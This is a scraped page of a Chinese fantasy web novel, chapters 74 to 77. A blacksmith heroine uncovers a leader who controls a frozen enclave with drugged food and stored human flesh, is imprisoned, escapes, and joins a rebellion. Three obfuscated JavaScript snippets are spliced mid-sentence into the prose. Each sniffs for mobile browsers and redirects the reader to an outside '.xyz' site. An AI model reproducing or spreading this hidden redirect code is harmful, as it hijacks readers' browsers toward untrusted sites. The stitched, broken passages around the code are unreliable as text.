就像是一个层层叠叠嵌套起来的谜题,直到此刻刀语心才知晓大概面貌,唯一不错的消息恐怕就是难度越高的同时也说明最终奖励会更加丰厚。 “按照过往经验来看,周围环境往往不是最大的威胁,人才是。”在刀语心看来墨弘深才是能真正阻碍她道路的一枚不可控炸弹。 “还有赏金猎人,他还没死。”他是遗忘之乡中唯一清楚刀语心与谢止沉几人之间关系的外人,在这段初期抵达遗忘之乡的时间内,关系隐蔽有助于他们能更好地获得消息。 话语刚落,谢止沉就接收到流光传来消息,他看向刀语心轻声说:“他来了。” 是墨弘深。 他们所在房间很窄,打开门就能一览无余。 意识到发生什么后刀语心视线转向屋内那饱经风霜的铁门,下一刻,敲门声响起。 74. 第 74 章 咚咚咚。 门很快就被打开,看着见到自己明显有些不耐烦的少女,墨弘深挂起微笑。 “有事?” “只是顺路过来看看。” 说着,墨弘深就走进房间刻意在卫生间门口停留,确认没有任何地方可以容得下人后,才笑着看向刀语心。 “来这么破的地方还真是有劳您大驾光临了。”将墨弘深的行动尽收眼底后刀语心面无表情地刺上几句,他也心胸宽广全然不在意。 “最近又来了很多新人,出于对你的安全考虑需要更改一下你现有住处。” “怎么?你是打算软禁我吗?” “我只是想保护你而已。”回应他的只有一声冷嗤。 对此墨弘深脸上挂着的虚伪笑容丝毫不变,他很清楚刀语心讨厌他,但他也明白自己身为遗忘之乡首领即便刀语心有再多不满也会选择退让。 他们对彼此都别有所图。 “走吧,说一不二的大首领。”说完刀语心就先一步跨门而出,墨弘深扫视屋内最后一眼后关门离开。 “啧。”冷寂房间中传来最后一点声响。 昨日还不被允许踏足的地界此刻进出自由,所谓禁区其实就是墨弘深在遗忘之乡的大本营,这里住满了他的左膀右臂。 进入房间后刀语心就闭门不出,她没有任何社交打算。 比起之前的破旧单间这里显然豪华得多,但墨弘深又怎么可能突然大发善心毫无所求?没有监控也没有监听器,从进入房间后就有一股异香围绕。 娇艳欲滴的花朵称得上美丽,这番景象没有让她沉沦反而警铃大作。 对植物不怎么熟悉刀语心分辨不出具体功效,她采集部分后启用检测器得到详细信息:“傀儡花,用于心智操控,长时间吸入花香会让生命体在不知不觉间陷入可控状态。” 化妆镜反射出发饰上银光流转,直到这时她才看清其中雕刻着难以察觉的细微纹路。 心中五味杂陈,刀语心走到窗边坐下仰头看着无尽夜色。 直到这时她才有空打开信笺上面写着:不要吃遗忘之乡的任何食物,莉莉安在治疗他人时发现遗忘之乡居民体内有一股用于控制的力量。 见此刀语心了然,难怪在生存如此艰难的情况下墨弘深还能开个酒吧。 她边看边在脑海回想着自来到遗忘之乡后的记忆片段,她确保自己没有进食任何食物,那沈辞还故意点杯酒给她,这算什么?来自预言家的考验? 给沈辞记上一笔后,刀语心感受迎面吹来的冷寂夜风梳理自己接下来的行动。 她最终目的是得到宝物,所做的一切都是为了抵达这个终点,和墨弘深虚与委蛇也是想要获得情报以及提前掌握足够信息从而获得能够压制他的方法。 摆在她面前的难题有两个,一个是环境,一个是人群。 不止墨弘深,除开因意外进入遗忘之乡和那些被世外桃源之名所诱导而来的那部分人群,其余所有人的目标都是得到宝藏。 翻阅锻造师成长指南,刀语心试图从中得到有关场的线索,每当她接触到从未涉及的概念时指南总会给予她指引。 但仅仅是指引而已,指南不会直接给出她想要的答案,她需要不断摸索试错。 坐在窗边一夜未眠,直到清晨的微风将她手边纸张吹起以及杂乱步调声从门外传来,看来即便是左膀右臂也必须领取每日任务。 也是,墨弘深不会让无用之人出现在自己身边。 简单洗漱后刀语心就走出房间准备去锻造,一路上畅通无阻看来墨弘深暂且不打算将她软禁,仅限于现在。 “早上好啊锻造师小姐~” 话音刚落,闪着寒光的攻击就随之袭来。 本能侧身抓住对方手腕将武器掠夺,紧接着刀尖一转,刀语心拿着武器就要朝袭击那人的大动脉刺去。 在血肉即将喷涌的一瞬,一把叉子朝她飞去。 刀尖被叉子定在地毯之上。 “很抱歉刀语心小姐,攻击是这孩子打招呼的方式,希望没吓到你也希望你不要介意。”墨弘深轻笑着补充道,“毕竟遗忘之乡不允许厮杀。” “你的希望有些太多了。” 漆黑幽邃堪称恐怖的眼神直视着墨弘深,刀语心没有收起眼中的不耐,杀心一起就不会轻易被落下。 坐在长桌主位上的墨弘深,很显然他在这场默许的意外结束之后才慢慢出声。 ……太碍事了。 她毫不顾忌地用嵌合在终端上的洞察装置扫过墨弘深的职业信息,五十级指挥官,技能天赋被刻意隐藏无法探寻。 指挥?不如说是洗脑更为贴切。 遗忘之乡之中没有交易场所生存所需的一切被统一管控,其中就包括食物和水源,身为首领墨弘深想在其中做些手脚简直就是易如反掌。 经过四年的积累遗忘之乡内的所有人恐怕都成了他的傀儡,现在不确定的就是杀死他是否能解除控制。 遗忘之乡本就充满谜团,若是再被无休止的追杀只会进一步陷入困境。 权衡利弊后的答案就是现在还不是合适的时机,她必须获得更多遗忘之乡以及墨弘深的信息。 “一起吃个早饭吧。”他笑着问。 “多谢墨首领的好意,行动手册上规定的时间就要到了。”刀语心不打算领情。 “我想知道关于你的设计,什么时候能有个雏形?” “今天。” 说完刀语心头也不回地离开。 “真厉害啊,这就是救世主吗?”从地上撑起身体看着刀语心离开的背影,先前和她交手的那人目光兴奋地说道。 “是啊,这就是救世主啊。”别样的诡异语调从墨弘深口中说出。 “那个人醒了吗?”和刀语心一起进来的那人说墨弘深了解刀语心的唯一渠道。 他们对彼此都有顾忌,此刻的平静是暴风雨来临前的假象,只要谁先掌握到对方的弱点,谁就可以获得胜利。 “没有,那人身上的伤已经痊愈但由于不知原因无法醒来。” “不是有个新来的医师吗?把他派去……” “是。” 去往破旧锻造室的中途刀语心路过冰库,她看见厚重大门被打开些许,有人在从里往外运送着食材。 她有些好奇冰库里面会储存些什么,是尸体吗? 来到工作地点后刀语心先简单锻造出喷火器躯壳,经过她的改良和完善已经能满足墨弘深的要求,只是她并不打算就这么简单满足他的意愿。 遗留的能源问题并没有被解决,刀语心使用的能源是魔矿,她不会将自己手上的资源和墨弘深共享。 按照计划她本该继续学有关场的内容,只是先前发生的插曲让她有些不爽。 内讧、反叛、暴乱…… 要做到哪一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050125|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步才能彻底把墨弘深折损? 思及至此刀语心起身推开门,朝着冰库方向走去。 在厚重铁门的夹缝之间,异化之力缓慢渗透进冰库中,在积蓄一定量后刀语心通过异化之力作为移动媒介进入冰库之中。 她紧贴墙壁,同时抬头搜索可能会存在监视器的地方。 冰库内部寒气弥漫除开监视器冒出的红光之外没有任何光亮,适应黑暗后她绕开监控摸索着前行。 监控有很多死角,确保自己行踪不会暴露后刀语心披上斗篷隐匿自己的同时隔绝外界温度,即便她体质不差也禁不住长时间超低温折磨。 在用终端记录下自己的行动轨迹后,刀语心一步步深入冰库。 她脚步很轻,只余制冷系统的嗡鸣声在整个空间中回荡,走过的一排排货架上摆放着蔬果、肉类和一些种子,不同寻常的是这里还有很多的植株。她不精通草药,但她记得其中一株就是昨晚她房间中的傀儡花。 她所推测的思路是正确的,掌控着食物来源的墨弘深借此渠道将遗忘之乡的所有人化作他手中的棋子。 她将这些一一记录下来,这些证据可以作为引线的一部分,但还不够。 阴影中的脚步从未停歇,她还在不断向内深入,刀语心的直觉告诉她里面还会有更多不可告人的东西。 来到一处更大的空间,目之所及都是肉类。 各式各样被冰冻的血肉是最好的掩护,刀语心拿出检测仪开始一排排检验。 “冷冻猪肉冷冻猪肉……”一行行数据字体飘过。 “……冷冻人肉。”意料之中的惊喜,要是什么都没发现刀语心才会觉得奇怪。 罪证收集完毕,现在的难点是如何让疑似被墨弘深洗脑的其他人相信这些证据,而且还有一种最坏的可能,那就是这些人知晓一切甚至还愿意帮助墨弘深达成目标。 在返回大门的途中她感受到一股气流吹过,侧头看去,她发现一个隐秘的岔路口。 狭窄的通路被黑暗包裹隐藏在货架之后,比起其他地方较为宽阔的通路,这里只够一个人通过,狭小,也更加不引人注目。 确认没有任何监视器后,她朝着漆黑通路中走去。 一步,又一步。 但在她行至中途时,变故突生。 手腕上的赤红流光现形,围着她团团转几圈后朝着入口处快速飞去,刀语心瞬间明白它想要传递的信息,墨弘深来找她了。 偏偏是这个时候。 她说过今天就可以有喷火器雏形,可是距离早上还没过去多久。 顾不上太多刀语心即刻开始狂奔,现在还不是彻底掀桌的时机,虽说获得点燃的引线但作为重头戏的“炸药”还没准备完毕,她需要维持好他们彼此之间岌岌可危的平衡。 异化之力从她的脚下涌出用更快的速度抵达大门并朝外溢出,她特地延伸一段距离让其他人更难注意到她的突然出现。 当她的身影再度出现在外界时,一转身,她对上一双浑浊的眼睛。 那是一个邋里邋遢拥有脏乱胡须和长发的男性,他发现刀语心的诡异行踪但并没有大呼小叫。 他只是抬起手,然后指向地面。 面对此等怪异之举刀语心并不理解,她毫不拖泥带水地上前一手刀将其击晕。 尽管这样,她还是慢了一步。 她眼睁睁看着墨弘深推开锻造室的大门。 75. 第 75 章 “你去哪了?” 听到身后传来推门声,等待已久的墨弘深转身看向迎面走来的人影,语气平和地笑着询问,脸上笑意却不达眼底。 “解决我的正常生理需求,这有什么问题吗?”刀语心面无表情地回应。 面对这份回应墨弘深露出一抹意味不明的笑:“当然没有。” 他看着她几步向前绕开自己,从桌上拿起喷火器扔了过来。接住这不轻的分量后他听到她说:“我根据从前草稿改良过,至于能源问题你自己解决。” 掂量着沉甸甸的喷火器,墨弘深的手指已经扣上开关,只是在按下之前他察觉屋内另一人不同寻常的举动。 她又离开了。 来到室外的刀语心期待着屋内被烈火灼烧,但推门而出的人戳破她的脑内幻想。 “我不打算在里面试验是不是让你的期望落空了。” “算是。”她语气淡淡地说。 “那还真是抱歉,和我一起去外面试验下吧,大发明家。”他挂在脸上的笑容没有丝毫改变。 被层层守卫围绕的二人来到安全区外围,整个遗忘之乡常年被冰雪覆盖,每一处坚冰都可以成为喷火器的实验对象。 所以为什么要走这么远?刀语心暗自想到,一个试验地点可用不着这么精挑细选。 在行走许久后,墨弘深才终于停下。 “就这里吧。”说完,他将手中的喷火器递给身旁的守卫,那人抱着喷火器稳步向前远离人群,将喷火口对准一侧厚重冰层后将开关按下。 瞬间,烈焰从中窜出如火蛇一般尖啸着席卷走周围一切冰寒,被火焰灼烧的冰层急速融化作蒸腾的白烟飘向空中。 周围空气被一同灼烧,热浪扑面而来众人眼中满是惊讶,他们已经很久没有感受过如此庞大的热意。 “真是……精彩。”看着眼前一切的墨弘深低喃。他清楚若是刚才自己在屋内贸然开启,不出意外他一定会被烈火灼伤。 想到这里他笑容加深,不怀好意的视线扫向刀语心,没有更多的柔情蜜意只让人觉得阴冷。 如今他的目的已然达成,既然如此—— 她没有再留下去的必要。 强烈到无法忽视的视线让刀语心转眼看去,她对上那双虚伪至极的视线。 “怎么?想杀了我?”她扬起笑容问道。 话音刚落,火焰势头就渐渐减小直至熄灭,逐渐减弱的光亮也足以让墨弘深看清面前之人眼中明晃晃的嘲讽。 “你觉得你可以解决能源消耗问题,还是你觉得手下的人能完美复刻我的造物?你应该比谁都清楚,他们不可以,一个喷火器也远远不够。” 见自己的阴谋没有达成反而被戳破,墨弘深也并无气恼。 “刀语心小姐,你这倒也提醒我了……”他抬手挥动下达指令守卫们就将刀语心团团围起,这次他们没有对初到者的留情,她完全被桎梏在无数枪尖之下。 “我们之间还来日方长。” 垂眸看着近在咫尺的枪刃闪着冷光,刀语心明白只要自己一动身上就会被划开血淋淋的伤口。 “在遗忘之乡中好奇并不是一种值得赞扬的品德,手册上有规定未经允许不能进入冰库。容我提醒你刀语心小姐,这已经是你第二次违反规定,这一次你不能再被轻易绕过。” 即便进入冰库是一时兴起,但刀语心也没大意到给墨弘深留下把柄,那么就只有一种可能性: “你有证据吗?还是说不看证据就定罪也是你立下的规则之一?” 这份问询只让墨弘深笑意更浓,他看向刀语心的眼神宛如注视着一只待宰羔羊,屠夫没必要和砧板上的食物解释自己行动的缘由。 于是他回以反问:“你以为你的同伴们藏得很好吗?” 闻言刀语心挑眉,但神色并无慌乱之意。墨弘深盯着她一举一动的同时,她也在反过来审视他。 他是真的知道并找出其他人,还是只推测出大概?她想,应该是后者。墨弘深知道她有同伴,但不知道具体是谁,是哪几人。 “或许吧。”他应当是认为自己进入冰库是有人相助,对此刀语心乐意见得。 风雪呼啸间,刀语心看到有一人从远处走来,她记得对方,是最开始告诫她不要离开的引路人。 “来到遗忘之乡后,你好像滴水未进吧?”墨弘深明白刀语心知道食物有问题。 “看来你也知道自己手段低劣。” 两人交锋间披着厚重斗篷的引路者来到刀语心面前,手中还带着一瓶不明液体,这是软的不成要来硬的了。 引路人的职业是药剂师,她也是墨弘深控制遗忘之乡居民的关键。 见引路人抬起手的同时刀语心本能后退,痛楚却在下一刻传来,被枪尖隔断的缕缕发丝连同点点血液掉落在雪面之上。 对上刀语心目光的引路人只是无奈苦笑,“多有得罪了,锻造师小姐。” 那手指轻柔但不由分说地捏住刀语心的下颚,将一整瓶药剂灌入她的口中,味道古怪的液体灼烧她的五脏六腑,躯壳变得越来越沉重但她的意识却无比清醒。 “竟然能撑这么久,你很厉害。”引路人兼药剂师在一旁观察后得出结论,“但为什么?锻造师的体质应该不会这么异于其他样本……” “她的发饰是件道具。”墨弘深注意到发饰上的银白力量流转。 话落,引路人伸手就要除去这个变量,这也引来更加剧烈的挣扎,先前一切都没让刀语心产生情绪,平静的表象被这一举动打破。 “别碰我的东西。”不顾枪尖划伤自己,她掐住引路人的手腕。 “有意思,这是谁送你的吗?你的同谋者?”外泄的情绪成为她的破绽,善于操纵人心的墨弘深不会错过。 眼看局面就要更加混乱,引路人用未被钳制的手另一只手捂住刀语心的面颊,随即一股沁人心脾的花香溢进刀语心肺腑。 “别再反抗,徒劳无功只会让你承受更多痛苦。” 很快刀语心就失去力气跌落在她的怀中,引路人也得以将银白发饰摘下。 “还给我……”她想要发力身体却早已失控。 “睡一觉吧,你会没事的。” 嘴角被咬破渗出血迹,刀语心想要维持清醒,但在引路人双重手段下她苦苦坚持到清醒的最后一刻,最终不甘地闭上眼睛。 确认刀语心服下的药剂起效并彻底昏迷后,引路人起身向墨弘深复命。 “她的职业已经封禁,药剂只持续两天。” “伤者那边进展如何?” “医师说他有办法,但需要时间。” 听到这话墨弘深皱起眉头,眼下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061031|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最缺的就是时间。他有强烈预感刀语心的危险程度超出遗忘之乡中的任何人,他必须早日知晓她藏起来的底牌。 “不惜一切代价,从他那里获得有关刀语心的情报。” “是。”引路人应下后停顿片刻,“那个医师怎么安排?是要留下还是……” 脑海中闪过许多思绪,结合种种不同寻常的踪迹墨弘深选择顺从自己的直觉:“分配探索任务,把他处理掉。” 不知时间过去多久,刀语心意识回归躯体,她是被刺骨冰寒扎醒的。 从冰冷地面撑起身体,她感受到自己的手腕被什么东西束缚住,待视线从模糊转至清晰后她看到自己手腕脚腕上都被戴上镣铐,另一端还连接着墙壁这说明她被束缚在这间牢房中。 锁链有一点长度让她得以小范围移动,拖着步子踩着被寒气浸透的地面她来到牢门前,漆黑瞳孔中倒映着摇曳烛火,那是寂静四周中唯一一点温暖。 从光透过的缝隙中,她看到自己的随身物件被放在外面的破旧木桌上。 但谢止沉送她的发饰不在其中。 意识到这一点后,刀语心瞳孔中浮现烦躁,她不是一个领地意识弱的人,更无法容忍别人夺走她珍视的东西。 蛰伏本是她擅长的事对此她有丰富的应对经验,只要假装成为一只无力的待宰羊羔,那些自诩高高在上的猎人就会对她放松警惕。 先前发生的一切都在她预料之内,之所以没有反抗,就是因为她要让墨弘深短暂放下戒备。 探索冰库得到的罪证还没有发挥应有的价值,她也没有和其他人充足沟通下一步行动,她很清楚那并不是一个合适的反抗时机。 唯独在意料之外的是,她的发饰被人拿走。 她知道会产生一些损失,她也可以毫无挣扎地喝下那不知名的药剂,可她不愿接受属于自己的东西被人夺走,她讨厌这样。 怒火在胸腔中燃烧刀语心不打算什么都不做,手掌覆盖在锁链之上准备发动熔炼术将其熔化重获自由。 掌心没有浮出热意,铁链也纹丝不动。不起作用?就像是她的力量体系消失了一般。看着毫无进展的行动刀语心在思考自己为何失败,是引路人让她喝下的药剂有问题? 接着她尝试已有技能和天赋统统宣告失败,引路人的药剂把她的职业封禁,她无法使用任何手段。 但……他们真以为她什么都做不了吗? 完整铁链掉落地面发出响声,再转眼刀语心已经来到囚笼之外,异化之力不在封禁范围内。 牢狱中没有其他人的气息,看来墨弘深很信任引路人的能力,屡试不爽的手段甚至让他不在牢狱中布置任何一个人手。 烛光照不亮那双深邃漆黑的眼,她面无表情重新戴上戒指扣上终端披着斗篷就向外走去,她必须抓紧这段时间去找到她想要的答案。 片片雪花自天空飘落,白雪覆盖的地面上一个意想不到却又意料之中的人在等待着她——那个略显疯癫被她打晕的老者。 见到对方的第一眼她就洞察出他的信息:预言家,姓沈。 “把这些东西交给他们。”将备份过的数据扔交给对方后,她收起视线头也不回地离开。 “墨弘深……你最好把你的秘密藏好别让我找到。”如同诅咒般的话语无人听到,先一步在黑夜中飘散。 76. 第 76 章 夜色冰寒满目皆黑,唯一的亮色是探照光束在四处扫射。 巡逻的守卫打了个哈欠,扭头确认周围没有其他人后和身旁的同伴抱怨道: “不知道首领又发什么疯,冰库封锁这么严格还要派人守夜,难不成还会有人把它炸了不成?” 视线和灯光交错的瞬间守卫看到一丝黑影飞速窜过,可周围没有任何异动,他揉揉眼睛以为是自己老眼昏花。 一旁在阴影中停歇的刀语心漫不经心地扫过空间戒指查看炸弹数量,她的目光淡淡望着虚空,仿佛在脑海里计算着什么。 说不定她真的可以。 余光看到一束光线急速朝她而来,刀语心迅速俯身,光束探照范围擦着头顶发丝离开,她起身手指扶着粗糙墙壁让异化之力凝成不易察觉的黑线再次没入冰库内部。 探照光束又一次朝她直面而来,漆黑瞳孔被照亮的她毫无动作。在被灯光照出的前一刻,她的身形已经来到冰库之中。 重来一次刀语心比之前更加细心,异化之力遍布她的落脚点,搜查是否有监视或陷阱。 到处霸占领地的异化之力发现到异常物体,是一个难以察觉的小巧监视器隐藏在缝隙中,这应该就是她上一次暴露的原因。 她不会在同一个地方失败两次,画面被一瞬间的黑影覆盖后刀语心已经深入冰库来到隐秘通道前,在确认没有其他干扰因素后她毫不迟疑地朝黑暗中走去。 伸手不见五指的漆黑中,耳边的冷冻嗡鸣声逐渐消散,一切归于死寂。 径直前行一段距离后蔓延出的异化之力先一步抵达终点墙面,尽头什么都没有,忽然间刀语心想起第一次见面时那名疯癫老者给她的手势——向下。 异化之力找寻缝隙往下渗透,它们触碰到一段向下蜿蜒的阶梯。 下一刻,刀语心就抬脚踏住石阶朝更深处走去,每一次落下脚步她都有意控制着力度,她在悄无声息地向未知目的地靠近。 有光? 螺旋向下的过程中,原先漆黑视野逐步变得明亮,在彻底暴露在光线之前异化之力已经先一步证明内部安全。 视线从阴影中离开的那一刻就没再有过任何偏移。 巨大冰晶占据空间正中满目皆是折射的冰蓝色棱光,一名年轻女性如同被定格般悬浮其中,她双眼失神短发停留在飘扬起的一瞬,向前伸出手仿若想抓住某物。 她是谁? 思绪交错的同时,机关启动的轰鸣声顺着阶梯自上而下传来,一同而来的还有从楼梯缝隙中倾泻而下的灯光——有人来了。 越来越近的步伐声与耳膜共振,刀语心抬眼扫视,空旷房间中除了冰晶就只有四根承重柱。 墨弘深下楼速度很快,像是结束一天工作急着回家得到短暂休憩。 “我来了……这段时间过得真是有够糟的,总觉得一切都在失控。食物来源又少了,那个东西还是毫无动静,我真是一点头绪都没有。” “不,不对,我不该对你滔滔不绝地抱怨,你也肯定不想听这些。” 在刀语心按住自己快要突破胸腔的心跳,聚精会神竖起耳朵偷听时,却陷入了长久的沉默。 “刀语心。” 忽然听到直呼姓名的声音刀语心瞳孔在一瞬间颤动,就在她呼吸停滞要唤出武器的下一刻却又听见墨弘深轻飘飘开口继续说道:“看来你不在。” “她不可能在这里,药剂将她职业封禁又用锁链关押起来,我亲眼看着小路把她手脚都捆得死死的,她绝对不可能逃开。” 自言自语地回声在空间飘荡,他在努力说服自己。 “这人就是沈老预言中的救世主,已经来了几天……她太不可控了,从她来的那一天起我就没睡过好觉。”说着他突然轻笑一声,“啊,对不起,我又在抱怨了。” 心情大起大落后刀语心甚至不敢加重呼吸,墨弘深的絮絮叨叨更是让她晕头转向。 明明都四十多了,平时看起来也是个稳重首领,怎么来到这里就像是一个只会抱怨的毛头小子? 脚步伴随聊天声响起,疑心病太重的墨弘深边诉苦道歉边到处巡逻,以至于他在这里待了多久,刀语心就和他玩了多久的猫捉老鼠的游戏,显然她是后者。 “救世主的抵达应该是个好消息才对,我有预感,离我所追求的答案已经很近了。只要你再等我一段时间,我一定能把你从这里面救出来。” 他的手指在冰晶表面虚虚划过,声音轻柔得几乎听不见:“就像你曾经救我那样,我也要救你一次。” 下一秒,他的语气陡然一沉:“所有麻烦我都会解决干净,你一定会重新回到我身边。” “今天和你说太多,打扰你休息了。晚安,我们明天见。” 伴随机关声再次启动,刀语心才终于在石柱背面重重松了口气。 精神紧绷这么长时间对她的消耗很大,还好不算无效牺牲,最起码墨弘深自己身体力行证明了冰晶中的女性对他来说极为重要。 总不可能大半夜找自己的宿敌吐槽生活无力吧? 无论如何,这个秘密对刀语心而言正合心意。危机解除后她闲庭漫步围着冰晶绕了一圈后,站在冰晶女性正对面,一抹略显诡异的笑浮现在冰面反射的容貌之上。 “就先说声对不起了,不知名小姐。” 说完,她也抬起脚步离开,无尽的黑铺满她走过的地面,顺着墙壁延展在天花板上。 她一定会为墨弘深送上一份大礼作为回报。 两天后尘封的牢门被人开启,刀语心得以从那个阴暗冰冷的地方离开,她摩挲着自己的手腕附上热意去到全新的工作地点。 说是另类监狱也不为过而她的工位就在典狱长面前——墨弘深隔壁房间,中间还被特地镶嵌可供检视的玻璃。 “劳您大费周章地来当监工了。” “不辛苦。” 假装听不懂讥讽的墨弘深笑着回应,他知道此番举动不会让刀语心更心甘情愿为自己锻造,但这样可以让她无法和她藏在暗处的同伴们交流沟通。 和她一起进入遗忘之乡的那人已经用药剂强制唤醒,只是神智有些不清还需要一点时间去从他嘴中套出信息。 “我可是很期待你带领我们离开遗忘之乡。” “别把你的期望强加到我身上。”说完他就看着刀语心走远,明显不想再理会自己半句。 就这样表面上相安无事背地里暗潮涌动又过去几天,刀语心初步琢磨出反制场影响的小型半成品道具,在她着手下一步调整时,变故突生。 “首领!不好了!”有人慌慌忙忙闯进隔壁。 侧身听着来人的耳语对上刀语心隔岸观火似笑非笑的面容,“发布紧急集合指令。”交代完后墨弘深笑着转头吩咐守卫: “你负责看好她。” “是。” 说完他步履匆匆离开,刀语心则是不慌不忙地跟着守卫脚步。看着周围的景象与他们向背而驰的人群,她记得这显然不是去往集合广场的道路。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074968|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >大抵是盯着背影的目光太过冰冷,守卫主动低声解释:“刀语心小姐我并无恶意,沈老预言此刻是你唯一不会被墨弘深所监视的时间点,我会带你去反抗者根据地,你的同伴们也在那里等你。” 秘密集会? 推开一扇不起眼的房门,其中所有人都朝刀语心投来视线。 “姐姐,你来了。”雪姬先一步来到她身旁拉住她的手腕像是惊慌无措的幼兽找到依靠,莉莉安和沈辞简单点头示意。 “刀语心小姐,欢迎你。但碍于时间有限,我们长话短说。”前几次见过的老者如是说,刀语心知道他就是墨弘深口中预言到她是救世主的沈老。 屋子不大却聚集着很多人,大多是不满墨弘深的独裁以及之前进入遗忘之乡的新人。 一直以来身为首领的墨弘深对遗忘之乡居民进行着药剂操控,在莉莉安歌声的影响下些许人的控制被削弱了。 加上刀语心之前提供冰库中的情报和他们长久以来在遗忘之乡中的布防,在最近一段时间反抗者拉拢煽动许多还未被完全控制的其他人,一致决定趁着混乱在今天打出反击的第一枪。 “今天?”刀语心很清楚把她带到这里不止是唠家常这么简单,“你们需要我做什么?” “拖住墨弘深,你可以。”沈老那双浑浊却透着精光的眼睛和她对上。 “她真的可以吗?我们真的要把所有的赌注压在她身上?”有人焦虑询问,沈老做出这个决定并没有和他们商议,预言家给出既定的未来,但那未来只有他看得到。 “冰库地下藏着东西,而我能把那东西毁掉。”声线没有丝毫起伏,她在陈述事实并非刻意向他们证明。 听到这话,有人突然脸色暗沉,这样的转变很显然不符常理。 “抓住他。”刀语心开口瞬间就有人将其捕获,有人质疑的同时也有人对她深信不疑,将她视为真正的救世主。 “他是墨弘深安插进来的钉子?” “如果首领已经知道我们所谋划的一切……” 听到这动摇人心的话沈老将其打断:“逃避无法解决问题,只有反抗才能彻底地摆脱他。走到这一步,我们别无选择。” “你们愿意作为自己死去,还是愿意成为傀儡最终化作他花田里的养料?” 没再理会他们的战前演讲,刀语心抬手摸摸雪姬的脑袋嘱咐道:“待在他们身边保护好自己,我走了。” “你也是。”临别前雪姬将自己这段时间以来取出的血液交给刀语心,“希望能帮上你。” 没等刀语心再说太多,雪姬就把她朝门外轻推。 “我等你回来。”少女扬起一个脆弱的笑。 顺着人群轨迹来到广场,所有在遗忘之乡的人都聚集于此乌泱泱一大片,压抑的气息在空气中弥漫,每个人的表情都称不上轻松。 一片混乱间,墨弘深的出现吸引走所有视线,他站在高台上目光扫过人群,低沉的声音穿透着每个人的灵魂: “今天,我们聚集在此,是为了悼念我们逝去的同伴。” 在刀语心听来他语气中的悲痛有些虚假,其中却有一种蛊惑人心的力量将负面情绪渲染。 “他们在探索中取得前所未有的进步,但代价……是他们的生命。” 话落,他身后的巨大投屏缓缓亮起,投射出一个个名字。 最初刀语心只是目光淡漠的扫视,直到看见一个名字映在其上,赫然间她瞳孔放大。 “死亡名单——谢止沉。” 77. 第 77 章 颤动仅仅一瞬刀语心就迫使自己沉寂下来,她明白接下来还有其他事要做。 只是指尖早已陷入掌心,昭示着被压抑的怒火未曾熄灭。 人群之中有人额头冒汗,在几个深呼吸后,她举起手中的信号枪在身边人惊异的目光下扣动扳机。 “咻——啪!” 信号弹划破长空随后在高处炸开赤黄焰火,尖锐而短暂的声音在空中回荡。 在所有人被吸引注意的同一时刻,反抗者们将一杆杆绣上烈焰的旗帜从人群中立起。 “墨弘深,滚下来!你这个虚伪的东西,有什么资格和我们谈牺牲?”反抗者的声音在人群中回荡。 “大家不要被他表面假象所欺骗,他所做的一切都是为了自己,为了实现他的目标甚至牺牲无数多人,他以自由为名的探索把所有人带入末路!这一个个名字就是他的罪证!” 位于高台上的墨弘深就垂下视线,默默看着那位发声的反抗者。 他刻意纵容这一切,否则守卫早已将反抗者抓起。 “哦?是吗?”面对这些指责他的神色没有丝毫改变,“就算我的确像你所言那样不堪,又有什么问题呢?” 他不慌不忙地承认,仿若从一开始就预料到这场闹剧。 “建立这个基地的人是我,给你们抵抗遗忘之乡影响药剂的人是我,解决食物问题的人是我,解决水源问题的人还是我。你说我虚伪,我不否认……” “但你们又有什么资格来指责我所做的一切?” 他的声音冷静而低沉,如同一盆冰水浇在熊熊烈火上。 反抗者咬牙,转头和身边的同伴对上目光。随后投屏上呈现出截然不同的图片,上面赫然陈列着刀语心从冰库中收集的铁证:血肉的成分构成,植株的各种作用,还有一部分是他们日常食物和药剂分析。 这些证据直指墨弘深的罪行——他一直在用下作手段控制遗忘之乡。 “这些,你又要怎么解释?” 看到这些证据的居民们反应各异,一部分惊慌失措,一部分面色僵硬沉默不语。 “那些人肉来自像你们一样的背叛者。”站在墨弘深身后的引路人向前一步,她的声音传到所有人耳中。 “作为储备粮,是他们最后的价值。” 看着那些鲜红的旗帜和反抗者脸上慷慨激昂的神情,她明显有些厌倦,同样的戏码已经无法给她带来更多情绪。 “你们自诩反抗,带来自由……然后呢?” “打破既定的安稳局面引来混乱,最终,你们还是无法从遗忘之乡中逃离。你们所做的一切是真的为了自由?还是为了想要假借混乱谋求利益?” 她一字一句质疑着反抗者的动机,同时拉长语调增强气势用来拖延时间。 她的药剂和墨弘深的指挥技能都需要时间催化。 “我们当然知道首领所做的一切是为了什么。”人群中,墨弘深的拥护者也开始为他发声。 “可是比起那所谓的宝藏,我们更想安然无恙地从这个该死的地方离开!” 